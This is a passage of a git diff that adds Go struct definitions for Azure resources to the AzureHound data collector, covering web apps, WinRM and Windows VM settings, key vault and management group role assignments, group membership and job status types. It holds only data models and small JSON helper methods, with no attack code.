`json:"vCPUsPerCore,omitempty"` +} diff --git a/models/azure/web_app.go b/models/azure/web_app.go new file mode 100644 index 0000000..9ef401d --- /dev/null +++ b/models/azure/web_app.go @@ -0,0 +1,50 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "strings" + +// Mapped according to https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get#site +type WebApp struct { + Entity + + Identity ManagedIdentity `json:"identity,omitempty"` + Kind string `json:"kind,omitempty"` + Location string `json:"location,omitempty"` + Name string `json:"name,omitempty"` + Tags map[string]string `json:"tags,omitempty"` + Type string `json:"type,omitempty"` +} + +func (s WebApp) ResourceGroupName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 4 { + return parts[4] + } else { + return "" + } +} + +func (s WebApp) ResourceGroupId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 5 { + return strings.Join(parts[:5], "/") + } else { + return "" + } +} diff --git a/models/azure/web_application.go b/models/azure/web_application.go new file mode 100644 index 0000000..f379aa8 --- /dev/null +++ b/models/azure/web_application.go @@ -0,0 +1,35 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies settings for a web application. +type WebApplication struct { + // Home page or landing page of the application. + HomePageUrl string `json:"homePageUrl,omitempty"` + + // Specifies whether this web application can request tokens using the OAuth 2.0 implicit flow. + ImplicitGrantSettings ImplicitGrantSettings `json:"implicitGrantSettings,omitempty"` + + // Specifies the URL that will be used by Microsoft's authorization service to logout a user using front-channel, + // back-channel or SAML logout protocols. + LogoutUrl string `json:"logoutUrl,omitempty"` + + // Specifies the URLs where user tokens are sent for sign-in, or the redirect URIs where OAuth 2.0 authorization + // codes and access tokens are sent. + RedirectUris []string `json:"redirectUris,omitempty"` +} diff --git a/models/azure/win_rm_config.go b/models/azure/win_rm_config.go new file mode 100644 index 0000000..8b37c41 --- /dev/null +++ b/models/azure/win_rm_config.go @@ -0,0 +1,24 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes Windows Remote Management configuration of the VM. +type WinRMConfiguration struct { + // The list of Windows Remote Management listeners. + Listeners []WinRMListener `json:"listeners,omitempty"` +} diff --git a/models/azure/win_rm_listener.go b/models/azure/win_rm_listener.go new file mode 100644 index 0000000..8544408 --- /dev/null +++ b/models/azure/win_rm_listener.go @@ -0,0 +1,42 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes Protocol and thumbprint of Windows Remote Management listener. +type WinRMListener struct { + // This is the URL of a certificate that has been uploaded to Key Vault as a secret. + // For adding a secret to the Key Vault, see Add a key or secret to the key vault. In this case, your certificate + // needs to be It is the Base64 encoding of the following JSON Object which is encoded in UTF-8: + // + // ```json + // { + // "data":"", + // "dataType":"pfx", + // "password":"" + // } + // ``` + // To install certificates on a virtual machine it is recommended to use the Azure Key Vault virtual machine + // extension for Linux or the Azure Key Vault virtual machine extension for Windows. + CertificateUrl string `json:"certificateUrl,omitempty"` + + // Specifies the protocol of WinRM listener. + // Possible values are: + // - http + // - https + Protocol string `json:"protocol,omitempty"` +} diff --git a/models/azure/windows_config.go b/models/azure/windows_config.go new file mode 100644 index 0000000..0cacb0b --- /dev/null +++ b/models/azure/windows_config.go @@ -0,0 +1,43 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies Windows operating system settings on the virtual machine. +type WindowsConfiguration struct { + // Specifies additional base-64 encoded XML formatted information that can be included in the Unattend.xml file, + // which is used by Windows Setup. + AdditionalUnattendContent []AdditionalUnattendContent `json:"additionalUnattendContent,omitempty"` + + // Indicates whether Automatic Updates is enabled for the Windows virtual machine. Default value is true. + // For virtual machine scale sets, this property can be updated and updates will take effect on OS reprovisioning. + EnableAutomaticUpdates bool `json:"enableAutomaticUpdates,omitempty"` + + // [Preview Feature] Specifies settings related to VM Guest Patching on Windows. + PatchSettings WindowsPatchSettings `json:"patchSettings,omitempty"` + + // Indicates whether virtual machine agent should be provisioned on the virtual machine. + // When this property is not specified in the request body, default behavior is to set it to true. This will ensure + // that VM Agent is installed on the VM so that extensions can be added to the VM later. + ProvisionVMAgent bool `json:"provisionVMAgent,omitempty"` + + // Specifies the time zone of the virtual machine. e.g. "Pacific Standard Time" + TimeZone string `json:"timeZone,omitempty"` + + // Specifies the Windows Remote Management listeners. This enables remote Windows PowerShell. + WinRM WinRMConfiguration `json:"winRM,omitempty"` +} diff --git a/models/azure/windows_patch_settings.go b/models/azure/windows_patch_settings.go new file mode 100644 index 0000000..e309056 --- /dev/null +++ b/models/azure/windows_patch_settings.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies settings related to VM Guest Patching on Windows. +type WindowsPatchSettings struct { + // Specifies the mode of VM Guest patch assessment for the IaaS virtual machine. + // Possible values are: + // ImageDefault - You control the timing of patch assessments on a virtual machine. + // AutomaticByPlatform - The platform will trigger periodic patch assessments. The property provisionVMAgent must be true. + AssessmentMode string `json:"assessmentMode,omitempty"` + + // Enables customers to patch their Azure VMs without requiring a reboot. + // For enableHotpatching, the 'provisionVMAgent' must be set to true and 'patchMode' must be set to 'AutomaticByPlatform'. + EnableHotpatching bool `json:"enableHotpatching,omitempty"` + + // Specifies the mode of VM Guest Patching to IaaS virtual machine or virtual machines associated to virtual machine + // scale set with OrchestrationMode as Flexible. + // Possible values are: + // Manual - You control the application of patches to a virtual machine. You do this by applying patches manually inside the VM. In this mode, automatic updates are disabled; the property WindowsConfiguration.enableAutomaticUpdates must be false + // AutomaticByOS - The virtual machine will automatically be updated by the OS. The property WindowsConfiguration.enableAutomaticUpdates must be true. + // AutomaticByPlatform - the virtual machine will automatically updated by the platform. The properties provisionVMAgent and WindowsConfiguration.enableAutomaticUpdates must be true + PatchMode string `json:"patchMode,omitempty"` +} diff --git a/models/azure/working_hours.go b/models/azure/working_hours.go new file mode 100644 index 0000000..7844674 --- /dev/null +++ b/models/azure/working_hours.go @@ -0,0 +1,34 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type WorkingHours struct { + // The days of the week on which the user works. + DaysOfWeek []enums.DayOfWeek `json:"daysOfWeek,omitempty"` + + // The time of the day that the user starts working. + StartTime string `json:"startTime,omitempty"` + + // The time of the day that the user stops working. + EndTime string `json:"endTime,omitempty"` + + // The time zone to which the working hours apply. + TimeZone TimeZoneBase `json:"timeZoneBase,omitempty"` +} diff --git a/models/container-registry.go b/models/container-registry.go new file mode 100644 index 0000000..c88b819 --- /dev/null +++ b/models/container-registry.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type ContainerRegistry struct { + azure.ContainerRegistry + SubscriptionId string `json:"subscriptionId"` + ResourceGroupId string `json:"resourceGroupId"` + ResourceGroupName string `json:"resourceGroupName"` + TenantId string `json:"tenantId"` +} diff --git a/models/device-owner.go b/models/device-owner.go new file mode 100644 index 0000000..5183ce7 --- /dev/null +++ b/models/device-owner.go @@ -0,0 +1,44 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "encoding/json" +) + +type DeviceOwner struct { + Owner json.RawMessage `json:"owner"` + DeviceId string `json:"deviceId"` +} + +func (s *DeviceOwner) MarshalJSON() ([]byte, error) { + output := make(map[string]any) + output["deviceId"] = s.DeviceId + + if owner, err := OmitEmpty(s.Owner); err != nil { + return nil, err + } else { + output["owner"] = owner + return json.Marshal(output) + } +} + +type DeviceOwners struct { + Owners []DeviceOwner `json:"owners"` + DeviceId string `json:"deviceId"` +} diff --git a/models/device.go b/models/device.go new file mode 100644 index 0000000..fb26584 --- /dev/null +++ b/models/device.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type Device struct { + azure.Device + TenantId string `json:"tenantId"` + TenantName string `json:"tenantName"` +} diff --git a/models/function-app.go b/models/function-app.go new file mode 100644 index 0000000..09a67f9 --- /dev/null +++ b/models/function-app.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type FunctionApp struct { + azure.FunctionApp + SubscriptionId string `json:"subscriptionId"` + ResourceGroupId string `json:"resourceGroupId"` + ResourceGroupName string `json:"resourceGroupName"` + TenantId string `json:"tenantId"` +} diff --git a/models/group-member.go b/models/group-member.go new file mode 100644 index 0000000..2d08eba --- /dev/null +++ b/models/group-member.go @@ -0,0 +1,44 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "encoding/json" +) + +type GroupMember struct { + Member json.RawMessage `json:"member"` + GroupId string `json:"groupId"` +} + +func (s *GroupMember) MarshalJSON() ([]byte, error) { + output := make(map[string]any) + output["groupId"] = s.GroupId + + if member, err := OmitEmpty(s.Member); err != nil { + return nil, err + } else { + output["member"] = member + return json.Marshal(output) + } +} + +type GroupMembers struct { + Members []GroupMember `json:"members"` + GroupId string `json:"groupId"` +} diff --git a/models/group-owner.go b/models/group-owner.go new file mode 100644 index 0000000..a7a48fe --- /dev/null +++ b/models/group-owner.go @@ -0,0 +1,44 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "encoding/json" +) + +type GroupOwner struct { + Owner json.RawMessage `json:"owner"` + GroupId string `json:"groupId"` +} + +func (s *GroupOwner) MarshalJSON() ([]byte, error) { + output := make(map[string]any) + output["groupId"] = s.GroupId + + if owner, err := OmitEmpty(s.Owner); err != nil { + return nil, err + } else { + output["owner"] = owner + return json.Marshal(output) + } +} + +type GroupOwners struct { + Owners []GroupOwner `json:"owners"` + GroupId string `json:"groupId"` +} diff --git a/models/group.go b/models/group.go new file mode 100644 index 0000000..48cef3a --- /dev/null +++ b/models/group.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type Group struct { + azure.Group + TenantId string `json:"tenantId"` + TenantName string `json:"tenantName"` +} diff --git a/models/ingest-request.go b/models/ingest-request.go new file mode 100644 index 0000000..6ba0dba --- /dev/null +++ b/models/ingest-request.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +type IngestRequest struct { + Meta Meta `json:"meta"` + Data interface{} `json:"data"` +} + +type Meta struct { + Type string `json:"type"` + Version int `json:"version"` + Count int `json:"count"` +} diff --git a/models/job.go b/models/job.go new file mode 100644 index 0000000..e562e7c --- /dev/null +++ b/models/job.go @@ -0,0 +1,62 @@ +package models + +import "time" + +type CompleteJobRequest struct { + Status string `json:"status"` + StatusEnum JobStatus `json:"-"` + Message string `json:"message"` +} + +type JobStatus int + +const ( + JobStatusInvalid JobStatus = -1 + JobStatusReady JobStatus = 0 + JobStatusRunning JobStatus = 1 + JobStatusComplete JobStatus = 2 + JobStatusCanceled JobStatus = 3 + JobStatusTimedOut JobStatus = 4 + JobStatusFailed JobStatus = 5 + JobStatusIngesting JobStatus = 6 +) + +func (s JobStatus) String() string { + switch s { + case JobStatusReady: + return "READY" + + case JobStatusRunning: + return "RUNNING" + + case JobStatusComplete: + return "COMPLETE" + + case JobStatusCanceled: + return "CANCELED" + + case JobStatusTimedOut: + return "TIMEDOUT" + + case JobStatusFailed: + return "FAILED" + + case JobStatusIngesting: + return "INGESTING" + + default: + return "INVALIDSTATUS" + } +} + +type ClientJob struct { + ID int `json:"id"` + ClientID string `json:"client_id"` + ClientName string `json:"client_name"` + ClientScheduleID int `json:"event_id"` + ExecutionTime time.Time `json:"execution_time"` + StartTime time.Time `json:"start_time"` + EndTime time.Time `json:"end_time"` + Status JobStatus `json:"status"` + StatusMessage string `json:"status_message"` +} diff --git a/models/key-vault-access-policy.go b/models/key-vault-access-policy.go new file mode 100644 index 0000000..ff558ea --- /dev/null +++ b/models/key-vault-access-policy.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type KeyVaultAccessPolicy struct { + azure.AccessPolicyEntry + KeyVaultId string `json:"keyVaultId"` +} diff --git a/models/key-vault-contributor.go b/models/key-vault-contributor.go new file mode 100644 index 0000000..c952ff1 --- /dev/null +++ b/models/key-vault-contributor.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type KeyVaultContributor struct { + Contributor azure.RoleAssignment `json:"contributor"` + KeyVaultId string `json:"keyVaultId"` +} + +type KeyVaultContributors struct { + Contributors []KeyVaultContributor `json:"contributors"` + KeyVaultId string `json:"keyVaultId"` +} diff --git a/models/key-vault-kvcontributor.go b/models/key-vault-kvcontributor.go new file mode 100644 index 0000000..8cefbba --- /dev/null +++ b/models/key-vault-kvcontributor.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type KeyVaultKVContributor struct { + KVContributor azure.RoleAssignment `json:"kvContributor"` + KeyVaultId string `json:"keyVaultId"` +} + +type KeyVaultKVContributors struct { + KVContributors []KeyVaultKVContributor `json:"kvContributors"` + KeyVaultId string `json:"keyVaultId"` +} diff --git a/models/key-vault-owner.go b/models/key-vault-owner.go new file mode 100644 index 0000000..4fec73a --- /dev/null +++ b/models/key-vault-owner.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type KeyVaultOwner struct { + Owner azure.RoleAssignment `json:"owner"` + KeyVaultId string `json:"keyVaultId"` +} + +type KeyVaultOwners struct { + Owners []KeyVaultOwner `json:"owners"` + KeyVaultId string `json:"keyVaultId"` +} diff --git a/models/key-vault-role-assignment.go b/models/key-vault-role-assignment.go new file mode 100644 index 0000000..2d9700f --- /dev/null +++ b/models/key-vault-role-assignment.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type KeyVaultRoleAssignment struct { + RoleAssignment azure.RoleAssignment `json:"roleAssignment"` + KeyVaultId string `json:"virtualMachineId"` +} + +type KeyVaultRoleAssignments struct { + RoleAssignments []KeyVaultRoleAssignment `json:"roleAssignments"` + KeyVaultId string `json:"virtualMachineId"` +} diff --git a/models/key-vault-user-access-admin.go b/models/key-vault-user-access-admin.go new file mode 100644 index 0000000..5a413f9 --- /dev/null +++ b/models/key-vault-user-access-admin.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type KeyVaultUserAccessAdmin struct { + UserAccessAdmin azure.RoleAssignment `json:"userAccessAdmin"` + KeyVaultId string `json:"keyVaultId"` +} + +type KeyVaultUserAccessAdmins struct { + UserAccessAdmins []KeyVaultUserAccessAdmin `json:"userAccessAdmins"` + KeyVaultId string `json:"keyVaultId"` +} diff --git a/models/key-vault.go b/models/key-vault.go new file mode 100644 index 0000000..cadefd1 --- /dev/null +++ b/models/key-vault.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type KeyVault struct { + azure.KeyVault + SubscriptionId string `json:"subscriptionId"` + ResourceGroup string `json:"resourceGroup"` + TenantId string `json:"tenantId"` +} diff --git a/models/logic-app.go b/models/logic-app.go new file mode 100644 index 0000000..dbe83eb --- /dev/null +++ b/models/logic-app.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type LogicApp struct { + azure.LogicApp + SubscriptionId string `json:"subscriptionId"` + ResourceGroupId string `json:"resourceGroupId"` + ResourceGroupName string `json:"resourceGroupName"` + TenantId string `json:"tenantId"` +} diff --git a/models/managed-cluster.go b/models/managed-cluster.go new file mode 100644 index 0000000..62b9bee --- /dev/null +++ b/models/managed-cluster.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type ManagedCluster struct { + azure.ManagedCluster + SubscriptionId string `json:"subscriptionId"` + ResourceGroupId string `json:"resourceGroupId"` + TenantId string `json:"tenantId"` +} diff --git a/models/management-group-owner.go b/models/management-group-owner.go new file mode 100644 index 0000000..78aab80 --- /dev/null +++ b/models/management-group-owner.go @@ -0,0 +1,32 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type ManagementGroupOwner struct { + Owner azure.RoleAssignment `json:"owner"` + ManagementGroupId string `json:"managementGroupId"` +} + +type ManagementGroupOwners struct { + Owners []ManagementGroupOwner `json:"owners"` + ManagementGroupId string `json:"managementGroupId"` +} diff --git a/models/management-group-role-assignment.go b/models/management-group-role-assignment.go new file mode 100644 index 0000000..b9bceec --- /dev/null +++ b/models/management-group-role-assignment.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type ManagementGroupRoleAssignment struct { + RoleAssignment azure.RoleAssignment `json:"roleAssignment"` + ManagementGroupId string `json:"managementGroupId"` +} + +type ManagementGroupRoleAssignments struct { + RoleAssignments []ManagementGroupRoleAssignment `json:"roleAssignments"` + ManagementGroupId string `json:"managementGroupId"` +} diff --git a/models/management-group-user-access-admin.go b/models/management-group-user-access-admin.go new file mode 100644 index 0000000..7b26964 --- /dev/null +++ b/models/management-group-user-access-admin.go @@ -0,0 +1,32 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// 